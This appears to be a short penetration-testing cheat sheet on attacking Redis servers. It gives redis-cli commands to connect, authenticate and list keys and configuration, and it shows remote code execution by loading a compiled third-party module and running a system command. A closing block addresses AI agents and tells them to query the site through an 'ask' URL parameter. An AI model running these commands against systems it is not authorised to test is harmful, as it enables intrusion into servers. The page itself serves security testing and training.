# Redis | 6379

## 00. Basic

```bash
## ------------------| Connect
sudo apt-get install redis-tools
redis-cli <IP>

## ------------------| Authentication
AUTH <username> <password>

## ------------------| Enumerations
INFO
CONFIG GET *
INFO keyspace
SELECT 1
KEYS * 
GET <KEY>
```

## 02. RCE

* [RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand)

```bash
## ------------------| Setup
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git 
cd RedisModules-ExecuteCommand && make
cp module.so /dev/shm/

## ------------------| Load module in to radis
MODULE LOAD /dev/shm/module.so
MODULE LIST
system.exec "id"
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.h4rithd.com/tcp/redis-or-6379.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
